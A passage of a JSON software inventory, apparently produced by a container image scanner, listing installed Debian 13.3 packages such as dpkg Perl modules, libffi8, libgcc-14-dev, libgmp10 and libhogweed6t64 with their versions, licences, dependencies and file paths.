"/usr/share/man/man3/Dpkg::Source::Package::V2.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Package::V3::Bzr.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Package::V3::Custom.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Package::V3::Git.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Package::V3::Native.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Package::V3::Quilt.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Patch.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Quilt.3perl.gz", "/usr/share/man/man3/Dpkg::Substvars.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::Debian.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::Default.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::Devuan.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::PureOS.3perl.gz", "/usr/share/man/man3/Dpkg::Vendor::Ubuntu.3perl.gz", "/usr/share/man/man3/Dpkg::Version.3perl.gz", "/usr/share/perl5/Dpkg.pm", "/usr/share/perl5/Dpkg/Arch.pm", "/usr/share/perl5/Dpkg/Archive/Ar.pm", "/usr/share/perl5/Dpkg/Build/Info.pm", "/usr/share/perl5/Dpkg/BuildAPI.pm", "/usr/share/perl5/Dpkg/BuildDriver.pm", "/usr/share/perl5/Dpkg/BuildDriver/DebianRules.pm", "/usr/share/perl5/Dpkg/BuildEnv.pm", "/usr/share/perl5/Dpkg/BuildFlags.pm", "/usr/share/perl5/Dpkg/BuildInfo.pm", "/usr/share/perl5/Dpkg/BuildOptions.pm", "/usr/share/perl5/Dpkg/BuildProfiles.pm", "/usr/share/perl5/Dpkg/BuildTree.pm", "/usr/share/perl5/Dpkg/BuildTypes.pm", "/usr/share/perl5/Dpkg/Changelog.pm", "/usr/share/perl5/Dpkg/Changelog/Debian.pm", "/usr/share/perl5/Dpkg/Changelog/Entry.pm", "/usr/share/perl5/Dpkg/Changelog/Entry/Debian.pm", "/usr/share/perl5/Dpkg/Changelog/Parse.pm", "/usr/share/perl5/Dpkg/Checksums.pm", "/usr/share/perl5/Dpkg/Compression.pm", "/usr/share/perl5/Dpkg/Compression/FileHandle.pm", "/usr/share/perl5/Dpkg/Compression/Process.pm", "/usr/share/perl5/Dpkg/Conf.pm", "/usr/share/perl5/Dpkg/Control.pm", "/usr/share/perl5/Dpkg/Control/Changelog.pm", "/usr/share/perl5/Dpkg/Control/Fields.pm", "/usr/share/perl5/Dpkg/Control/FieldsCore.pm", "/usr/share/perl5/Dpkg/Control/Hash.pm", "/usr/share/perl5/Dpkg/Control/HashCore.pm", "/usr/share/perl5/Dpkg/Control/HashCore/Tie.pm", "/usr/share/perl5/Dpkg/Control/Info.pm", "/usr/share/perl5/Dpkg/Control/Tests.pm", "/usr/share/perl5/Dpkg/Control/Tests/Entry.pm", "/usr/share/perl5/Dpkg/Control/Types.pm", "/usr/share/perl5/Dpkg/Deps.pm", "/usr/share/perl5/Dpkg/Deps/AND.pm", "/usr/share/perl5/Dpkg/Deps/KnownFacts.pm", "/usr/share/perl5/Dpkg/Deps/Multiple.pm", "/usr/share/perl5/Dpkg/Deps/OR.pm", "/usr/share/perl5/Dpkg/Deps/Simple.pm", "/usr/share/perl5/Dpkg/Deps/Union.pm", "/usr/share/perl5/Dpkg/Dist/Files.pm", "/usr/share/perl5/Dpkg/ErrorHandling.pm", "/usr/share/perl5/Dpkg/Exit.pm", "/usr/share/perl5/Dpkg/File.pm", "/usr/share/perl5/Dpkg/Getopt.pm", "/usr/share/perl5/Dpkg/Gettext.pm", "/usr/share/perl5/Dpkg/IPC.pm", "/usr/share/perl5/Dpkg/Index.pm", "/usr/share/perl5/Dpkg/Interface/Storable.pm", "/usr/share/perl5/Dpkg/Lock.pm", "/usr/share/perl5/Dpkg/OpenPGP.pm", "/usr/share/perl5/Dpkg/OpenPGP/Backend.pm", "/usr/share/perl5/Dpkg/OpenPGP/Backend/GnuPG.pm", "/usr/share/perl5/Dpkg/OpenPGP/Backend/SOP.pm", "/usr/share/perl5/Dpkg/OpenPGP/Backend/Sequoia.pm", "/usr/share/perl5/Dpkg/OpenPGP/ErrorCodes.pm", "/usr/share/perl5/Dpkg/OpenPGP/KeyHandle.pm", "/usr/share/perl5/Dpkg/Package.pm", "/usr/share/perl5/Dpkg/Path.pm", "/usr/share/perl5/Dpkg/Shlibs.pm", "/usr/share/perl5/Dpkg/Shlibs/Cppfilt.pm", "/usr/share/perl5/Dpkg/Shlibs/Objdump.pm", "/usr/share/perl5/Dpkg/Shlibs/Objdump/Object.pm", "/usr/share/perl5/Dpkg/Shlibs/Symbol.pm", "/usr/share/perl5/Dpkg/Shlibs/SymbolFile.pm", "/usr/share/perl5/Dpkg/Source/Archive.pm", "/usr/share/perl5/Dpkg/Source/BinaryFiles.pm", "/usr/share/perl5/Dpkg/Source/Format.pm", "/usr/share/perl5/Dpkg/Source/Functions.pm", "/usr/share/perl5/Dpkg/Source/Package.pm", "/usr/share/perl5/Dpkg/Source/Package/V1.pm", "/usr/share/perl5/Dpkg/Source/Package/V2.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Bzr.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Custom.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Git.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Native.pm", "/usr/share/perl5/Dpkg/Source/Package/V3/Quilt.pm", "/usr/share/perl5/Dpkg/Source/Patch.pm", "/usr/share/perl5/Dpkg/Source/Quilt.pm", "/usr/share/perl5/Dpkg/Substvars.pm", "/usr/share/perl5/Dpkg/Vendor.pm", "/usr/share/perl5/Dpkg/Vendor/Debian.pm", "/usr/share/perl5/Dpkg/Vendor/Default.pm", "/usr/share/perl5/Dpkg/Vendor/Devuan.pm", "/usr/share/perl5/Dpkg/Vendor/PureOS.pm", "/usr/share/perl5/Dpkg/Vendor/Ubuntu.pm", "/usr/share/perl5/Dpkg/Version.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "libffi8@3.4.8-2", "Name": "libffi8", "Identifier": { "PURL": "pkg:deb/debian/libffi8@3.4.8-2?arch=amd64\u0026distro=debian-13.3", "UID": "5ebd980eda82661" }, "Version": "3.4.8", "Release": "2", "Arch": "amd64", "SrcName": "libffi", "SrcVersion": "3.4.8", "SrcRelease": "2", "Licenses": [ "MIT", "X11", "GPL-2.0-or-later", "GPL-3.0-or-later", "MPL-1.1", "LGPL-2.1-or-later", "public-domain" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libffi.so.8.1.4", "/usr/share/doc/libffi8/changelog.Debian.gz", "/usr/share/doc/libffi8/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgcc-14-dev@14.2.0-19", "Name": "libgcc-14-dev", "Identifier": { "PURL": "pkg:deb/debian/libgcc-14-dev@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "a1a5b7b8d531d5c2" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libasan8@14.2.0-19", "libatomic1@14.2.0-19", "libgcc-s1@14.2.0-19", "libgomp1@14.2.0-19", "libhwasan0@14.2.0-19", "libitm1@14.2.0-19", "liblsan0@14.2.0-19", "libquadmath0@14.2.0-19", "libtsan2@14.2.0-19", "libubsan1@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/gcc/x86_64-linux-gnu/14/crtbegin.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtbeginS.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtbeginT.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtend.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtendS.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtfastmath.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtoffloadbegin.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtoffloadend.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtoffloadtable.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtoffloadtableS.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtprec32.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtprec64.o", "/usr/lib/gcc/x86_64-linux-gnu/14/crtprec80.o", "/usr/lib/gcc/x86_64-linux-gnu/14/include/acc_prof.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/adxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/ammintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxbf16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxcomplexintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxfp16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxint8intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/amxtileintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx5124fmapsintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx5124vnniwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bf16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bf16vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bitalgintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bitalgvlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512bwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512cdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512dqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512erintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512fintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512fp16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512fp16vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512ifmaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512ifmavlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512pfintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vbmi2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vbmi2vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vbmiintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vbmivlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vlbwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vldqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vnniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vnnivlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vp2intersectintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vp2intersectvlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vpopcntdqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avx512vpopcntdqvlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxifmaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxneconvertintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxvnniint16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxvnniint8intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/avxvnniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/backtrace-supported.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/backtrace.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/bmi2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/bmiintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/bmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cet.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cetintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cldemoteintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/clflushoptintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/clwbintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/clzerointrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cmpccxaddintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cpuid.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/cross-stdarg.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/emmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/enqcmdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/f16cintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/float.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/fma4intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/fmaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/fxsrintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/gcov.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/gfniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/hresetintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/ia32intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/immintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/iso646.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/keylockerintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/limits.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/lwpintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/lzcntintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mm3dnow.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mm_malloc.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/movdirintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mwaitintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/mwaitxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/nmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/omp.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/openacc.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/pconfigintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/pkuintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/pmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/popcntintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/prfchiintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/prfchwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/quadmath.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/quadmath_weak.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/raointintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/rdseedintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/rtmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/asan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/common_interface_defs.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/hwasan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/lsan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sanitizer/tsan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/serializeintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sgxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sha512intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/shaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sm3intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/sm4intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/smmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdalign.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdarg.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdatomic.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdbool.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdckdint.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stddef.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdfix.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdint-gcc.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdint.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/stdnoreturn.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/syslimits.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/tbmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/tmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/tsxldtrkintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/uintrintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/unwind.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/usermsrintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/vaesintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/varargs.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/vpclmulqdqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/waitpkgintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/wbnoinvdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/wmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/x86gprintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/x86intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xopintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xsavecintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xsaveintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xsaveoptintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xsavesintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/include/xtestintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/14/libasan.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libasan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/14/libatomic.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libbacktrace.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libgcc.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libgcc_eh.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libgcc_s.so", "/usr/lib/gcc/x86_64-linux-gnu/14/libgcov.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libgomp.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libhwasan.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libitm.a", "/usr/lib/gcc/x86_64-linux-gnu/14/liblsan.a", "/usr/lib/gcc/x86_64-linux-gnu/14/liblsan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/14/libquadmath.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libssp_nonshared.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libtsan.a", "/usr/lib/gcc/x86_64-linux-gnu/14/libtsan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/14/libubsan.a" ], "AnalyzedBy": "dpkg" }, { "ID": "libgcc-s1@14.2.0-19", "Name": "libgcc-s1", "Identifier": { "PURL": "pkg:deb/debian/libgcc-s1@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "a97fe3f5b073b23f" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgcc_s.so.1", "/usr/share/lintian/overrides/libgcc-s1" ], "AnalyzedBy": "dpkg" }, { "ID": "libgdbm-compat4t64@1.24-2", "Name": "libgdbm-compat4t64", "Identifier": { "PURL": "pkg:deb/debian/libgdbm-compat4t64@1.24-2?arch=amd64\u0026distro=debian-13.3", "UID": "d062989a5123decb" }, "Version": "1.24", "Release": "2", "Arch": "amd64", "SrcName": "gdbm", "SrcVersion": "1.24", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-2.0-or-later", "GFDL-1.3-no-invariants-or-later", "GPL-3.0-only", "GPL-2.0-only" ], "Maintainer": "Nicolas Mora \u003cbabelouest@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libgdbm6t64@1.24-2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgdbm_compat.so.4.0.0", "/usr/share/doc/libgdbm-compat4t64/changelog.Debian.gz", "/usr/share/doc/libgdbm-compat4t64/changelog.gz", "/usr/share/doc/libgdbm-compat4t64/copyright", "/usr/share/lintian/overrides/libgdbm-compat4t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libgdbm6t64@1.24-2", "Name": "libgdbm6t64", "Identifier": { "PURL": "pkg:deb/debian/libgdbm6t64@1.24-2?arch=amd64\u0026distro=debian-13.3", "UID": "2eae02c455541055" }, "Version": "1.24", "Release": "2", "Arch": "amd64", "SrcName": "gdbm", "SrcVersion": "1.24", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-2.0-or-later", "GFDL-1.3-no-invariants-or-later", "GPL-3.0-only", "GPL-2.0-only" ], "Maintainer": "Nicolas Mora \u003cbabelouest@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgdbm.so.6.0.0", "/usr/share/doc/libgdbm6t64/changelog.Debian.gz", "/usr/share/doc/libgdbm6t64/changelog.gz", "/usr/share/doc/libgdbm6t64/copyright", "/usr/share/lintian/overrides/libgdbm6t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libgmp10@2:6.3.0+dfsg-3", "Name": "libgmp10", "Identifier": { "PURL": "pkg:deb/debian/libgmp10@6.3.0%2Bdfsg-3?arch=amd64\u0026distro=debian-13.3\u0026epoch=2", "UID": "c040282e0fb7d8ba" }, "Version": "6.3.0+dfsg", "Release": "3", "Epoch": 2, "Arch": "amd64", "SrcName": "gmp", "SrcVersion": "6.3.0+dfsg", "SrcRelease": "3", "SrcEpoch": 2, "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later", "GPL-3.0-or-later", "GPL-3+ with Bison exception", "GPL-2.0-only", "GPL-3.0-only", "LGPL-3.0-only" ], "Maintainer": "Debian Science Maintainers \u003cdebian-science-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgmp.so.10.5.0", "/usr/share/doc/libgmp10/README.Debian", "/usr/share/doc/libgmp10/changelog.Debian.gz", "/usr/share/doc/libgmp10/changelog.gz", "/usr/share/doc/libgmp10/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgomp1@14.2.0-19", "Name": "libgomp1", "Identifier": { "PURL": "pkg:deb/debian/libgomp1@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "cf0933fc1a7fd932" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgomp.so.1.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libgprofng0@2.44-3", "Name": "libgprofng0", "Identifier": { "PURL": "pkg:deb/debian/libgprofng0@2.44-3?arch=amd64\u0026distro=debian-13.3", "UID": "77261d23e7952250" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbinutils@2.44-3", "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19", "libstdc++6@14.2.0-19", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/gprofng/libgp-collector.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-collectorAPI.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-heap.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-iotrace.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-sync.so", "/usr/lib/x86_64-linux-gnu/libgprofng.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libhogweed6t64@3.10.1-1", "Name": "libhogweed6t64", "Identifier": { "PURL": "pkg:deb/debian/libhogweed6t64@3.10.1-1?arch=amd64\u0026distro=debian-13.3", "UID": "ffa72001b48dc1b4" }, "Version": "3.10.1", "Release": "1", "Arch": "amd64", "SrcName": "nettle", "SrcVersion": "3.10.1", "SrcRelease": "1", "Licenses": [ "LGPL-3.0-or-later", "GPL-2.0-or-later", "LGPL-2.0-or-later", "LGPL-2.0-only", "MIT", "GPL-3.0-with-autoconf-exception+", "public-domain", "GPL-2.0-only", "GAP" ], "Maintainer": "Magnus Holmgren \u003cholmgren@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libgmp10@2:6.3.0+dfsg-3", "libnettle8t64@3.10.1-1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libhogweed.so.6.10", "/usr/share/doc/libhogweed6t64/changelog.Debian.gz", "/usr/share/doc/libhogweed6t64/changelog.gz", "/usr/share/doc/libhogweed6t64/copyright", "/usr/share/lintian/overrides/libhogweed6t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libhwasan0@14.2.0-19", "Name": "libhwasan0", "Identifier": { "PURL": "pkg:deb/debian/libhwasan0@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "34a40f41843b1480" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libhwasan.so.0.0.0", "/usr/share/lintian/overrides/libhwasan0" ], "AnalyzedBy": "dpkg" }, { "ID": "libisl23@0.27-1", "Name": "libisl23", "Identifier": { "PURL": "pkg:deb/debian/libisl23@0.27-1?arch=amd64\u0026distro=debian-13.3", "UID": "e66e430557928e6b" }, "Version": "0.27", "Release": "1", "Arch": "amd64", "SrcName": "isl", "SrcVersion": "0.27", "SrcRelease": "1", "Licenses": [ "MIT", "BSD-2-Clause", "LGPL-2.1-or-later", "LGPL-2.0-only" ], "Maintainer": "Debian GCC 